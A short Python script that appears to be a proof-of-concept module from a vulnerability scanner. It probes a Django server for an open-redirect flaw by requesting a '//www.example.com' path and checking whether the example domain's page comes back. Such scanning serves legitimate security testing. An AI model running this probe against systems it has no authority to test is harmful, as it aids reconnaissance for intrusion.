import requests
import sys
from json_parse import Jsonparse

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
}


class django(object):
    def __init__(self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level

    def run(self):
        url = 'http://'+self.ip+':'+str(self.port)+'//www.example.com'
        try:
            req = requests.post(url=url,headers = headers, timeout = self.level)
            print(req.status_code)
            if req.status_code == 200 and 'Example Domain' in req.content:
                print('success')
                exit(233)
            else:
                print('NO vul django')
                exit(1)
        except Exception as e:
            print(e)
            exit(-1)

if __name__ == '__main__':
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout2']
    port = sys.argv[3]
    obj = django(targetip, port, timeout)
    obj.run()